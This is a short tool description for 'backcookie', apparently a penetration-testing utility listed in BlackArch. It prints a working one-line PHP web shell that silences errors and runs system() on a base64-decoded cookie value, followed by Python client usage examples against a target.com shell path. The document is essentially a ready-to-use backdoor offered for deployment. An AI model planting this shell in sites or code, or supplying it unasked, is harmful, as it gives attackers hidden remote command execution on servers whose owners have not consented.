Small backdoor using cookie.
==========
<?php error_reporting(0); system(base64_decode($_COOKIE["yourcookie"])); ?>Example one: python backcookie.py -u http://target.com/shell.php -c name_cookie
Example two: python backcookie.py --url http://target.com/shell.php --cookie name_cookie
Custom command (binfo), You get objective information
@pwned:~$ binfo
- Inserted in -> blackarch
Copyright, 2013 by Jose Pino